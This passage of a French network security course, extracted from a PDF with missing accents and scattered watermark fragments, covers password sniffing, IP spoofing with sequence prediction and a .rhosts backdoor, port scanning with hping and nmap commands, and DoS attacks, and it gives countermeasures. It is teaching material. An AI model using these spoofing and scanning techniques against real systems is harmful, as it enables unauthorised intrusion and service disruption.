Ni plus ni moins. Attention tout de mme au chemin sur la premire ligne (/var/www/.htpasswd). Ce chemin indique lendroit o vous allez caser votre chier .passwd (ce chier contiendra les logins et passwords autoriss voir les pages). On conseille gnralement de le placer hors du site Web en lui mme.

CHAPITRE 18. PROTECTION DUN SERVICE WEB[?]


[root@Ernest www]# cat .htpasswd toto:XkAlqOKjbI8Fs titi:e4ut7ZLiuBOIY

71

Si maintenant je consulte le chier /var/www/.htpasswd jai bien mes deux users et leur password crypts.

18.5 Travaux Pratiques


18.5.1 Pr-requis
Modier votre chier hosts de manire rfrencer la machine de linstructeur

Nous allons dmontrer que le fait de protger une page Web par mot de passe nest pas sufsant.

oc um en ts

F IG . 18.1 Exemple de capture de trame (user et mot de passe)

ou sl

ic

en ce

Connectez vous sur la machine de linstructeur http ://lampion/protect Lancez votre sniffer Tapez lutilisateur eric et le mot de passe droopy Recherchez cette chane dans les trames sniffes.

FD

18.5.2 Capture du Mot de Passe

CHAPITRE 18. PROTECTION DUN SERVICE WEB[?]

72

18.5.3 Protection par https


Le protocole HTTP nest pas sufsant, il faut donc scuriser en plus laccs en cryptant laccs au serveur Web par https. Connectez vous sur la machine de linstructeur https ://lampion/protect Lancez votre sniffer Tapez lutilisateur eric et le mot de passe droopy Recherchez cette chane dans les trames sniffes.

18.6 Notes sur linstallation de Apache et Apache-ssl


Sous Debian, Apache et Apache-SSL se prsentent sous la forme de deux dmons spars avec 2 chiers de conguration distincts. Il est donc ncessaire dindiquer la scurisation des rpertoires dans les 2 chiers de congurations : /etc/apache/http.conf /etc/apache-ssl/httpd.conf avec les directives suivantes : <Directory /var/www/> AllowOverride AuthConfig </Directory>

oc um en ts

ou sl

ic

en ce

FD

Chapitre 19

oc um en ts

ou sl
73

Le cryptage permet de scuriser les connexions en rendant illisible les trames qui passent sur Internet. Cette technique est de plus en plus utilise. Par contre celle-ci ne sert rien si le mot de passe et/ou la phrase cl sont choisis de manire relativement banale. On observe tout de mme des failles de scurit dans les protocoles de cryptage, il est donc ncessaire de se mettre jour souvent. Le VPN a permis de faire un bond dans les relations intra-entreprises en reliant les diffrentes agences. Certains systmes dexploitation permettent daccder par VPN votre rseau local en se branchant de manire dynamique dessus. Pour ma part je pense que cest une trop grosse faille de scurit. Il est prfrable de laisser un espace chroot pour ce genre de services.

ic

en ce

FD

Conclusion

oc um en ts

ou sl
74

ic

Attaques

en ce

Cinquime partie

FD

Chapitre 20

oc um en ts

ou sl
75

An de connatre de manire plus prcise les principes dune attaque, nous verrons, dans le dtail, deux dentre elles : Le Buffer Overow est une attaque systme qui utilise la programmation qui lui est associe notamment lassembleur ou C. LIP Spoong est une attaque au niveau rseau qui utilise de manire avance les spcications des protocoles rseau.

ic

en ce

An de pouvoir attaquer un serveur, il est ncessaire de savoir quels sont les services quil octroie. Pour les connatre, il est possible dutiliser un mappage des ports nomms aussi Scan de ports. Une fois ces ports connus, on peut alors lancer diverses attaques dont nous verrons quelques standards.

FD

Introduction

Chapitre 21

21.1 Gnralits
21.1.1 Prsentation

Quels sont les acteurs lors dun mcanisme dIP spoong ?

oc um en ts

A : un ordinateur cible ou victime B : un serveur ou une machine qui a conance en A X : une machine ayant une adresse forge (ou spoofe) Z : une machine attaque Reprsentation du squencement des trames dans ce document Temps 1 @1 A Action SYN> @2 B

21.2 Pr-requis
Pour comprendre le fonctionnement de lIP spoong, mieux vaut avoir quelques notions sur les systmes dexploitation et le fonctionnement des rseaux. Les quelques points suivants permettent de clarier de faon succincte les mcanismes utiles la comprhension du spoong. Relations de conance : Dans le monde informatique, il est frquent que certaines personnes aient des droits sur des ressources alors que dautres personnes ny ont pas accs. Rlogin : Ce protocole client serveur bas sur TCP permet de se connecter dune machine A sur une machine B distance et cela en tenant compte de la relation de conance, cest dire que si le client est identi (par son adresse IP) dans ce cas, on ne lui demande pas de mot de passe, la connexion est directement tablie. 76

Lunit de temps reprsente le squencement des trames telles quelles doivent avoir lieu @A symbolise la machine A Laction reprsente linformation change

ou sl

ic

LIP spoong est un mcanisme qui consiste se faire passer pour une personne ayant une adresse IP attribue, on falsie donc ladresse IP. Ceci nest que la partie merge dun iceberg, car les mcanismes mis en uvre sont en fait assez complexes.

en ce

FD

IP Spoong [1]

CHAPITRE 21. IP SPOOFING [?]

77

21.3 Lattaque
21.3.1 En bref
LIP spoong ncessite plusieurs tapes. Premirement, lattaquant doit choisir sa victime (un serveur). Ensuite, il doit trouver une conguration pour laquelle la victime autorise une connexion avec une machine de conance. Lintrt rside alors dans le but de se faire passer pour cette machine autorise. Pour cela, la machine autorise est rendue invalide (pour ne pas pouvoir ragir), les numros de squence du serveur sont analyss. Une connexion simule avec des paquets falsis de lattaquant est alors demande au serveur avec des numros de squence devins. Si la connexion est tablie, lattaquant modie alors des informations pour permettre de revenir plus facilement ultrieurement.

21.3.2 En dtails
En gnral, une attaque par IP spoong est mene dun compte root vers un autre compte root.

oc um en ts

En (1) le client demande une connexion au serveur en positionnant son numro de squence dans lentte TCP. Pour cela, il utilise le ISN (initial sequence number). A la rception de ce paquet (2), le serveur rpond avec ses bits SYN et ACK, il place galement son ISN dans lentte et un numro dacquittement (qui correpond ISN+1 du client). Le client accepte lISN serveur (3). Ds lors, les transferts peuvent commencer. Incrmentation de numro de squence et ISN : Au dmarrage de la machine, lISN est initialis 1. A chaque seconde coule, lISN sincrmente de 128 000 et chaque connexion tablie il sincrmente galement de 64 000. Ce mcanisme dincrmentation automatique est utilis pour viter quune ancienne connexion TCP tablie vienne perturber (par un nombre de donnes important) une connexion TCP avec des numros de squence trop proches. Ports : Pour autoriser plusieurs connexions simultanes, TCP utilise des ports. Ces ports sont utiliss par la pile IP pour identier les communications rseau. Combins avec une adresse IP, les ports TCP permettent ainsi didentier clairement lutilisation du paquet et sa destination. Pour identier les serveurs, on leur attribue des numros de port spciques suivant le service fourni, comme par exemple le port 513 pour le rlogin.

ou sl

ic

en ce

Temps 1 2 3

@1 A A A

Action SYN> <ACK/SYN ACK>

@2 B B B

FD

IP : Comme IP travaille en mode datagramme, il ny a pas de maintien de connexion fait ce niveau. La couche IP est charge de router les datagrammes sans se soucier ni de la destination, ni de la source du datagramme. On voit bien ici que la falsication dun datagramme IP ne lempche pas de circuler sur le rseau. TCP : TCP est able et orient connexion. Plusieurs mcanismes de abilit sont prsents mais seulement deux ont de limportance pour ce prsent document : le squencement des paquets et leur acquittement. Ces mcanismes rendent len-tte TCP nettement plus difcile falsier que le datagramme IP. Squencement et acquittement : En affectant un numro de squence chaque paquet TCP et en demandant un acquittement la rception, il est possible de r-mettre les paquets perdus. Les numros de squence servent au rcepteur pour ordonner les paquets reus. Ainsi, mme en passant par des routes diffrentes les paquets TCP sont automatiquement rordonns. Les numros de squence sont cods sur un champ de 32 bits. Chaque champ comprend le numro de squence des quatres premiers octets de donne. Le numro dacquittement dune entit attend toujours le numro de squence de lautre entit. tablissement de connexion TCP : Un mcanisme bas sur TCP comme une connexion dun client Rlogin de la machine A sur un dmon Rlogin sur la machine B a lieu comme-suit :

CHAPITRE 21. IP SPOOFING [?]

78

F IG . 21.1 Principe du spoong Attaque laveugle : Un point quil ne faut pas oublier dans lIP spoong est que les attaques se font en aveugle. En effet, comme lattaquant subtilise lidentit dune machine de conance pour contourner la scurit dun serveur, les datagrammes renvoys par le serveur sont destination de la machine de conance (qui a t invalide) car les datagrammes IP fonctionnent sans connexion, donc lattaquant ne les voit jamais. Comme la machine de conance a t au pralable rendue inoprationnelle, elle nest pas capable de rpondre aux datagrammes reus et cest donc lattaquant dtre sufsamment document sur ltat de la communication des machines pour pouvoir prdire ce que le serveur attend en retour.

21.3.4 Invalidation de la machine de conance


Pour viter que la machine de conance ne puisse rpondre au serveur lorsque celui-ci rpond aux datagrammes falsis, il est important dinvalider la machine de conance. Ceci est gnralement effectu par le biais dun mcanisme appel TCP SYN ooding (connexions en masse). Quand une connexion est demande avec le bit SYN activ, le rcepteur renvoie un SYN/ACK et attend le ACK de la part de lmetteur. Tant que lmetteur na pas renvoy son ACK, la connexion nest pas tablie. Il y a cependant une limite du nombre de requtes SYN qui peuvent tre effectues sur une mme socket, cette limite sappelle le backlog et reprsente la longueur de la le dattente des transmissions incompltes. Si cette limite est atteinte, les futures connexions TCP sont tout simplement ignores jusqu ce que des connexions en attente soient tablies. Limplmentation du backlog dpend du systme dexploitation mais est couramment de 5. Lattaquant envoie ainsi plusieurs requtes SYN sur le port TCP quelle veut invalider. Lattaquant doit sassurer que les paquets envoys sont encore une fois falsis comme provenant dune machine inatteignable (unreachable host) car sinon celle-ci renverrait un ReSeT (bit RST positionne) chaque SYN/ACK ce qui rendrait vains tous les efforts. Lattaque a lieu comme suit :

oc um en ts

ou sl

Une fois que la cible a t choisie, encore faut-il que celle-ci accepte tout utilisateur comme ayant certains droits, sinon, lattaque prend n ici. Cela peut ne pas tre facile mais des commandes telles que showmount -e ou rpcinfo peuvent aider dans cette tche, le but tant ici de rcuprer le maximum dinformations.

ic

21.3.3 Conguration de conance

en ce

FD

CHAPITRE 21. IP SPOOFING [?]


Temps 1 2 3 M M+1 N @1 Action Z(X) SYN> center>Z(X) SYN> Z(X) SYN> .... X <ACK/SYN X <ACK/SYN .... X <RST @2 B B B B B B

79

oc um en ts

Lattaquant doit avoir une ide du nombre contenu dans le numro de squence de la cible (le serveur), pour cela il va se connecter sur un port TCP de la machine cible (par exemple SMTP) et analyser les trames qui transitent. Ce processus est recommenc plusieurs fois et chaque fois on conserve le numro de squence de la cible de faon tablir des statistiques sur lincrmentation (dpendant du temps de transfert). Lattaquant possde alors toutes les cls : le dernier numro de squence mis, les donnes de changement ISN (128 000/seconde et 64 000/connexion) et le temps ncessaire. Aussitt aprs avoir pris connaissance de ces paramtres, lattaque est lance. Plusieurs cas peuvent alors se produire : le numro dacknowledge correspond parfaitement, et dans ce cas les donnes sont places en attente dans le buffer TCP si le numro dacquittement est infrieur au numro attendu, alors le paquet est supprim (considr comme une r-mission) si le numro est suprieur ce qui est attendu mais reste dans la limite acceptable par la fentre de transmission, dans ce cas il est maintenu en attente des paquets intermdiaires sinon il est purement supprim. Voici le mcanisme de lattaque : Temps 1 2 3 4

ou sl
@1 Z(A) A Z(A) Z(A)

Action SYN> <ACK/SYN ACK> PUSH> ....

ic

En (1), lattaquant simule ladresse IP de la personne de conance (qui subit une attaque de dni de service) et envoie sa connexion sur le port 513 (Rlogin est le plus utilis) de la victime. En (2), la cible rpond la machine falsie quelle autorise la communication. Comme la machine falsie est " un peu perdue ", elle supprime le paquet au lieu de renvoyer un RST comme elle aurait du le faire. En (3), lattaquant renvoi un paquet avec le numro de squence de la cible prdit + 1 puisquon lacquitte. Si la prdiction est bonne, la cible accepte le ACK, et la scurit est alors compromise puisque les transferts peuvent commencer (4). Une mthode permet de ne pas attaquer en aveugle, cest lutilisation du source routing. En effet, avec lutilisation des champs options du datagramme IP, il est possible de spcier une route pour un paquet de donne. Ainsi, il suft que lattaquant rajoute ce champ option avec un chemin de retour passant par lui de faon ce quil puisse voir le contenu de tous les messages destination de la machine usurpe. Dans ce

en ce
@2 B B B B

21.3.5 Echantillonnage des numros de squence et prdiction

FD

En (1), lattaquant envoie toute une multitude de requtes SYN pour remplir le backlog. En (M), la cible renvoie des paquets TCP SYN/ACK ce quelle croit tre lmetteur. Cette phase dure un petit moment et pendant ce temps, aucune connexion sur le port TCP utilis nest prise en compte. En (N), lorsquun certain temps sest coul la machine cible dcide dannuler la connexion.

CHAPITRE 21. IP SPOOFING [?]

80

cas, lutilisation devient nettement plus simple, puisque lattaquant na plus besoin de faire de prdiction de numro de squence et il peut contrler la validit de tous les messages envoys et reus. Gnralement, lattaquant laisse une porte ouverte (backdoor) derrire lui de faon pouvoir revenir plus tard de faon beaucoup plus simple. Une modication du chier rhost est souvent effectue pour permettre un accs ultrieur.

21.4 Mesures prventives


21.4.1 Ne pas faire conance
Une solution permettant dempcher ce type dattaque est de ne pas se baser sur une authentication par adresse IP. Dsactiver toutes les commandes r* (permettant une machine distante deffectuer des actions) comme rsh (ouverture de shell), rlogin (ouverture de terminal), supprimer tous les chiers .rhosts (liste des utilisateurs ayant des droits) et vider le chier /etc/host.equiv. Cela obligera les utilisateurs se conecter par dautres moyens (telnet, SSH)

21.4.2 Filtrer les paquets

21.4.3 Dsactiver le source routing


Comme lutilisation du source routing permet de faciliter considrablement lutilisation de lIP Spoong, il est prfrable de dsactiver le source routing sur tous les routeurs daccs de lentreprise de faon ce quune route destine un ordinateur interne au rseau ne passe pas par le rseau externe.

21.4.4 Utiliser le chiffrement


Une mthode vidente pour se protger contre lIP spoong consiste chiffrer ou authentier toutes les donnes qui circulent sur le rseau interne. Cependant cette mthode nest pas encore un standard.

oc um en ts

F IG . 21.2 Filtrage des paquets

ou sl

ic

Dans le cas dune connexion directe sur Internet, la mthode la plus utilise consiste ltrer les paquets entrants au niveau du routeur daccs de faon ce quune connexion extrieure au rseau ne puisse pas avoir une adresse IP qui soit interne au rseau. Comme les relations de conance sont souvent attribues au sein mme du rseau, cela prmunit relativement bien contre les attaques.

en ce

FD

CHAPITRE 21. IP SPOOFING [?]

81

21.4.5 Utiliser un numro de squence initial alatoire


Les attaques par IP spoong fonctionnent parce que les numros de squence peuvent tre devins. Pour rsoudre ce problme, il faudrait une modication de limplmentation de la pile IP qui tienne compte de ladresse comme le montre la formule suivante : ISN=M+F(localhost,localport,remotehost,remoteport). M est ici le compteur de la machine et F est un algorithme de Hash qui ne doit pas tre visible de lextrieur.

21.5 Travaux Pratiques : utilisation dun logiciel de masquage dIP : HPing


Consulter la documentation lie hping. Pinguer la machine de votre voisin avec une adresse source diffrente de celle de la machine hte. Observer avec votre sniffer. Rponse : ./hping2 -a @IPspoofe @IPvoisin e

Pinguer la machine de votre voisin avec une adresse source alatoire. Observer avec votre sniffer. Rponse : ./hping2 --rand-source @IPvoisin

oc um en ts

ou sl

ic

en ce

FD

Chapitre 22

22.1 Introduction

22.2 Diffrentes techniques de port scanning


DOR

La plupart de ces techniques sont implmentes dans le programme nmap (Network Mapper) de F YO <fyodor@dhp.com> disponible sur http ://www.insecure.org/nmap.

22.2.1 Vanilla TCP connect()


Cette technique est la plus simple, elle utilise lappel la fonction connect() du systme ( connect(2) ). Si la fonction russit la connexion est tablie sinon le port en question est ferm. Il suft alors dexcuter cette fonction sur chacun des ports dune machine an de dceler ceux qui sont ltat LISTEN. De plus cette fonction nexige aucun privilge, nimporte quel utilisateur peut excuter un tel programme. Par contre cette attaque est facilement dcelable, car les chiers de logs contiendront une tentative de connexion suivie immdiatement par sa fermeture, de plus cette technique ne peut-tre spoofe1 .
1 Ladresse de lmetteur contenu dans chaque paquets est modie an que lidentit de lattaquant soit masque, il sagira dune adresse IP diffrente de la sienne. Spoong : Usurpation . Mystication sur un rseau.

oc um en ts

Le plus souvent un port scan est comparable une attaque frontale, en effet le pirate doit tester chacun des ports de la machine les uns aprs les autres, il faut savoir que tout systme possde 65536 ports TCP dont les 1024 premiers sont rservs des applications serveur lances par ladministrateur. Lattaquant envoie une demande de connexion chacun des ports de la machine et attend quil rponde, si celui-ci rpond cest quil est ouvert, il pourra donc par la suite essayer dtablir une connexion sur ces derniers. Il sagit la plupart du temps dune attaque de reconnaissance, elle est souvent suivie dune vritable intrusion. Nous allons voir les diffrentes techniques utilises pour scanner les ports dun systme.

ou sl
82

ic

Le port scanning est utilis pour observer ltat dun rseau, il permet de dceler si certains ports sont ouverts la communication cest dire dans ltat LISTEN. Il est utilis par les administrateurs systmes pour dtecter si certains ports sont ouverts et les fermer en cas de besoin, mais aussi par les hackers (pirates) pour les mmes raisons mais ceux-ci utiliseront ces ports ouverts pour sinltrer ou rcuprer des informations sur le systme.

en ce

FD

Le Port Scanning [15]

CHAPITRE 22. LE PORT SCANNING [?]


Machine A connect () ok RST connect () chec Machine B LISTEN Attente de conrmation de connexion Annulation de la demande de connexion Port ferm

83

TAB . 22.1 Vanilla TCP connect ()

22.2.2 TCP SYN Scan


Appele aussi scan moiti ouvert2, car il ne sagit pas dune vraie connexion. Cette technique consiste envoyer un SYN un port de la machine cible, et si celle-ci envoie en rponse un SYN-ACK cest que ce port est ouvert (LISTEN) il faut ensuite envoyer immdiatement un RST an dannuler cette connexion. Par contre, si un RST a t reu cest que le port est ferm ou occup. Cette mthode de scanning est trs difcilement dcelable car il faudrait dtecter au niveau du noyau chaque SYN entrant, par contre lattaquant doit possder les privilges du root an quil puisse envoyer ses propres paquets. Machine A SYN RST SYN Machine B

22.2.3 TCP FIN Scanning

Cette technique consiste envoyer un FIN un port, si celui-ci est ferm il renvoie un RST sinon le paquet est ignor et rien nest envoy en retour. Cette mthode nest pas utilisable sur tous les systmes, de plus elle demande beaucoup de temps au pirate. Pour dtecter ce type de scan il faut l aussi accder directement au noyau du systme pour accder aux sockets brutes.

oc um en ts

TAB . 22.2 TCP SYN Scan

Machine A FIN

ou sl

FIN Aucune rponse : Port Ferm TAB . 22.3 TCP FIN Scanning

22.2.4 Fragmentation Scanning


Le fragmentation scanning consiste fragmenter les headers TCP en petits paquets. Cette technique est utilise avec les deux prcdentes, ceci permet de contourner les ltres ou autres rewalls qui dtectent
2 Half-open

scanning

ic

SYN,ACK port ouvert RST port ferm

en ce
Machine B RST port ouvert

FD

CHAPITRE 22. LE PORT SCANNING [?]

84

les SYN et FIN scans. En effet ces quipements ne rassemblent pas les fragments, car ceci demanderait beaucoup de ressources et abaisserait les performances du rseau, et les laissent donc passer, cest donc au systme lui mme de rassembler et de traiter, ces paquets fragments.

22.2.5 TCP StealthScan


Cette mthode est dcrite dans le Phrack 49 article 15 par U RIEL <lifesux@cox.org>. Elle est similaire au TCP Syn Scan, au lieu denvoyer un paquet SYN on envoie un FIN, si on obtient en retour un RST cest que le port est ferm sinon il est ouvert. Une autre mthode consiste envoyer un ACK, si on reoit des paquets contenant un TTL3 infrieur au reste des paquets RST reu, ou si la taille de la fentre (Window) est suprieure zro cela veut dire que le port est probablement en coute. Cette mthode est base sur un bogue dans la plupart des implmentations TCP des systmes dexploitation, il se peut donc quil soit corrig. Machine A ACK Machine B TTL dcroit port ouvert ACK TTL demeure port ferm

22.2.6 TCP Reverse Ident Scanning

22.2.7 Dumb Host Scan [18]


Cette mthode permet dutiliser des paquets spoofs et donc permet de ne pas laisser paratre votre adresse IP relle. Pour ffectuer ce scan ; il est ncessaire de connatre certaines particularits de limplmentation de TCP/IP sur la plupart des OS : 1. un hte rpond SYN|ACK un SYN si le port TCP est ouvert sinon rpond RST|ACK si le port est ferm. 2. les htes rpondent RST un SYN|ACK, ne rpondent rien un RST. Les Joueurs
3 Time To Live : entier contenu dans chaque paquet qui est dcrment chaque fois quil passe par un lment actif dun rseau (rewall, router...) il est initialis diffrement selon les Systmes dExploitation.

Dcrite par Dave Goldsmith en 1996 sur la liste Bugtraq (http ://www.securityfocus.com), cette mthode utilise le protocole ident (RFC 1413) qui permet de connatre le propritaire de nimporte quelle processus dune connexion TCP, mme sil ne sagit pas de linitiateur. On peut, par exemple, se connecter sur le port HTTP dune machine et utiliser identd an de savoir si le serveur a t lanc en tant que root. Mais cette mthode requiert une connexion TCP complte ce qui est facilement dtectable, de plus il est conseill de dsactiver identd (/etc/inetd.conf).

oc um en ts

Il existe dautres types de scans (http ://www.securityfocus.com) qui utilisent les ags URG, PUSH, URG+FIN, PUSH+FIN ou URG+PUSH qui sont aussi difcilement dtectables (un patch implmentant ces fonctionnalits pour nmap est disponible sur http ://vecna.unix.kg), il existe malgr tout un patch pour le noyau Linux de H ANK L EININGET <hlein@progressive-comp.com> disponible sur http ://www.progressivecomp.com/hlein/hap-linux/.

ou sl

TAB . 22.4 TCP SYN Scan

ic

en ce

FD

CHAPITRE 22. LE PORT SCANNING [?]

85

hte A - lattaquant : votre machine hte B - lhte silencieux : il ne doit pas envoyer de paquets durant le scan de C (la nuit par exemple). hte C - la victime. Fonctionnement La machine A sniffent les paquets sortant de B en utilisant le numro didentiant contenu dans lentte ip. Vous pouvez raliser ceci simplement en utilisant hping de la faon suivante : #hping B -r HPING B (eth0 xxx.yyy.zzz.jjj): no flags are set, 40 data bytes 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=0 ttl=64 id=41660 win=0 time=1.2 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=1 ttl=64 id=+1 win=0 time=75 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=2 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=3 ttl=64 id=+1 win=0 time=90 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=4 ttl=64 id=+1 win=0 time=91 ms 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=5 ttl=64 id=+1 win=0 time=87 ms Comme vous pouvez le constater, lid augmente toujours de 1. Donc cet hte possde les caractristiques ncessaires pour faire la machine B. Maintenant A envoie un SYN au port X de C en se faisant passer pour B (utilisation de hping). Si le port X de C est ouvert, C rpondra SYN|ACK B (C ne sait pas que cest A qui a envoy la requte). Dans ce cas, B rpond au SYN|ACK avec un RST. Si vous envoyez C quelques SYN, il rpondra B avec quelques SYN|ACK, et donc B rpondra C avec quelques RST... donc nous verrons que B envoie des paquets ! 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=17 ttl=64 id=+1 win=0 time=96 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=18 ttl=64 id=+1 win=0 time=80 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=19 ttl=64 id=+2 win=0 time=83 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=20 ttl=64 id=+3 win=0 time=94 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=21 ttl=64 id=+1 win=0 time=92 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=22 ttl=64 id=+2 win=0 time=82 Le port est ouvert !

ic

en ce

FD

Au contraire, si le port X de C est ferm, lenvoi C de quelques SYN de la part de B (A dguis) entranera une rponse de C avec des RST et aucune rponse de B. Donc nous verrons que B ne rpond pas. 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=52 ttl=64 id=+1 win=0 time=85 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=53 ttl=64 id=+1 win=0 time=83 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=54 ttl=64 id=+1 win=0 time=93 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=55 ttl=64 id=+1 win=0 time=74 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=56 ttl=64 id=+1 win=0 time=95 60 bytes from xxx.yyy.zzz.jjj: flags=RA seq=57 ttl=64 id=+1 win=0 time=81 Le port est ferm.

oc um en ts

ms ms ms ms ms ms

ou sl

22.2.8 UDP Port Scanning


Ce genre de scan est trs peu utilis car le protocole est de moins en moins usit de par son inabilit. Pour scanner un port UDP il suft denvoyer nimporte quel paquet sur un port UDP et si celui-ci rpond par Destination Port Unreachable cela veut dire quil est ferm.

22.3 Travaux Pratiques


22.3.1 Utilisation de nmap
nmap permet de faire toutes les attaques vues prcdemment, voici les options utiliser

ms ms ms ms ms ms

CHAPITRE 22. LE PORT SCANNING [?]

86

-sT : TCP connect () scan -sS : TCP SYN scan -sF -sX -sN : TCP FIN, Xmas, Null scan. Les attaques Xmas et Null nont pas t vues. Les voici donc. Xmas scanne les ports grce aux ags FIN, URG ,PUSH NULL scanne les ports avec tous les ags descendus. Microsoft ignore ce genre de requte. -sP : Ping scanning -sU : UDP scan

22.3.2 Travaux Pratiques : Utilisation dun scanner de Port nmap

22.3.3 Interface graphique pour nmap

22.3.4 Tester les ports ouverts sur lInternet

4 Avec

une interface graphique, vous pourrez disposer dun frontend (nmapfe)

oc um en ts

De nombreux sites proposent leurs services pour tester votre serveur et notamment les ports rseaux ouverts. Il est intressant de le faire fonctionner. Voici un exemple de ce que lon peut trouver sur le net :

ou sl

Il est possible de disposer dune interface graphique pour nmap via le package nmap-frontend. Cette interface graphique peut alors tre excute par le biais de la commande nmapfe.

ic

en ce

Aide : laide dune commande Linux sobtient pas man nomdelacommande Utilisez ce logiciel pour scruter votre machine, trouvez pour chacun de ces ports ouverts quel est le service qui coute et quel est son rle. Utilisez les diffrentes techniuqes vues prcdemment et observez les trames qui leurs sont associes. Consulter la documentation de nmap pour dcouvrir les autres possibilits de scan de port (avancs).

FD

Le logiciel nmap4 est disponible sur Linux pour connatre les ports ouverts dune machine.

CHAPITRE 22. LE PORT SCANNING [?]


Check.sdv.fr Bienvenue sur notre nouveau service de vrication de la scurit rseau de votre ordinateur. A quoi sert check.sdv.fr ?

87

Tout ordinateur connect internet dialogue travers ce que lon peut appeler des interfaces logicielles appeles ports. Ils sont potentiellement plusieurs milliers, et la scurit la plus lmentaire exige quils soient inactivs, lexception bien sr de ceux qui sont rellement utiles votre surf. Un intrus indlicat peut, travers un port actif non protg, raliser toutes sortes doprations dont les consquences peuvent tre fort dsagrables ; il est donc utile de vrier prcisment votre conguration. Cest ce travail que fait pour vous check.sdv.fr Comment fonctionne check.sdv.fr ?

Nous allons tester, lun aprs lautre, tous les ports existants, et vous dresser une carte aussi complte que possible de ltat des ports, ouverts ou ferms ; ceci sera associ un diagnostic estimant le niveau de scurit de votre machine. Compte tenu du nombre de tests, ce diagnostic peut prendre plusieurs minutes ; il est inutile de le rpter tous les jours, mais une prcaution raisonnable consiste le reprendre une frquence mensuelle, ou hebdomadaire ventuellement. Important : conditions dutilisation

SdV sengage bien videmment ne pas tenter de pntrer rellement les systmes tests, non plus qu conserver quelque donne que ce soit des rsultats de ses tests. Le programme se borne vrier le type de rponse des requtes vers la plupart des ports habituellement en usage. En cliquant sur le bouton " TESTER MON POSTE " qui suit, lutilisateur autorise SdV procder au test dcrit, sous les seules rserves qui prcdent. SdV ne donne aucune garantie explicite ou implicite de la abilit de ce test ; certaines conditions techniques rares peuvent entraner une non-dtection dactivit dun port pourtant actif. Il appartient au client, en cas de doute, et notamment en cas dapplication sensible, de faire procder des vrications approfondies par des consultants rseaux.

oc um en ts

ou sl

ic

en ce

FD

Chapitre 23

23.1 DoS

23.2 DDoS

Dans les attaques distribues DoS (DDoS), un hacker installe un agent ou dmon sur un certain nombre dhtes. Le hacker lance une commande au matre, qui rside dans lun des nombreux htes. Le matre communique avec les agents rsidents des autres serveurs pour commencer lattaque. Les attaques DDoS sont difciles contrer car elles ne proviennent pas dune seule adresse IP ou rseau. Le trac peut provenir dune centaine ou mme de milliers de systmes indpendants dont parfois (souvent) les utilisateurs ne sont mme pas avertis que leur ordinateur fait partie de lattaque. Les attaques DDoS incluent : FTP Bounce Attacks Ping Flooding Attack Smurf Attack SYN Flooding Attack IP Fragmentation/Overlapping Fragment Attack IP Sequence Prediction Attack DNS Cache Poisoning SNMP Attack Send Mail Attack

oc um en ts

ou sl
88

Lors dune attaque par Dni de Services (DoS), lattaquant envoie un ot de requtes sur un service dun serveur dans lespoir dpuiser des ressources telles que la "mmoire" ou consommer toutes les capacits du processeur. Les attaques DoS incluent : Jamming Networks (Blocage des Rseaux) Flooding Service Ports (Inonder une machine cible dans le but de bloquer ou gner son fonctionnement) Misconguring Routers (Recongurer des routeurs) Flooding Mail Servers (Inonder des serveurs mail)

ic

en ce

FD

Quelques attaques ranges

CHAPITRE 23. QUELQUES ATTAQUES RANGES

89

23.3 Description de quelques attaques communes


23.3.1 FTP Bounce Attack (Attaque FTP par Rebond)
FTP (File Transfer Protocol) est utilis pour transfrer des documents et des donnes de faon anonyme dune machine locale vers un serveur et vice-versa. Dans une attaque par rebond, le hacker met un chier sur le serveur FTP et demande alors ce que le chier soit envoy sur un autre serveur par le serveur interne. Le chier peut contenir un logiciel malsain ou un simple script qui occupera le serveur et utilisera toutes les ressources CPU et mmoire.

En rsum, une attaque ftp bounce est le fait dinitier de nombreux transferts ftp an de saturer un serveur ftp. Cette technique utilise la fonctionnalit proxy dun serveur FTP dcrite dans le RCF 959 qui permet de se connecter nimporte quel serveur en passant par ce serveur FTP. Cette mthode tait utilisable en 1985, date laquelle le RFC a t rdige, de nos jours la plupart des serveurs FTP ne possdent plus cette fonctionnalit. Cette mthode permettait surtout de masquer lidentit de lattaquant, les paquets contiennent ladresse du serveur FTP qui a t utilise comme proxy.

23.3.2 Ping Flooding Attack

23.3.3 Smurf Attack

Un attaque de type Smurf est un driv de lattaque "ping attack". Au lieu denvoyer des pings directement au systme attaqu, on envoie les pings ladresse de broadcast avec pour adresse de retour ladresse de la machine de la victime. Un certain nombre de machines intermdiaires enverront des pings la victime, bombardant ainsi la machine de la victime ou le systme avec des milliers ou des centaines de pings. source destination adresse IP de la victime adresse IP du broadcast

Une contre mesure peut tre dinterdire sur les routeurs lenvoi de trame sur ladresse de broadcast.

23.3.4 SYN Flooding Attack


Cette attaque exploite une vulnrabilit du protocole TCP/IP. Cette attaque demande la machine de la victime de rpondre une machine inexistante. La victime envoie des paquets en rponse la machine mettrice qui a pris soin denvoyer le tout avec une adresse IP incorrecte. En guise de rponse, il est innond de requtes. Ces requtes attendent une rponse jusqu ce que les paquets reviennent en Time Out ou soient supprims. Durant la priode dattente, le systme de la victime consomme ces ressources et ne peut

oc um en ts

Pinguer un ordinateur signie envoyer un signal une machine an que celle-ci rponde en retour. Une utilisation responsable du ping procure des informations sur la diponibilit dun service particulier. Le Ping Flooding est lutilisation extrme du ping par lenvoi de centaines de millions de pings par seconde. Le Ping Flooding peut endommager un systme ou mme stopper un site entier. Une attaque de type Ping Flooding inonde le rseau ou la machine de la victime avec des paquets IP de type Ping. De nombreux routeurs ou imprimantes sont aussi vulnrables.

ou sl

ic

en ce

FD

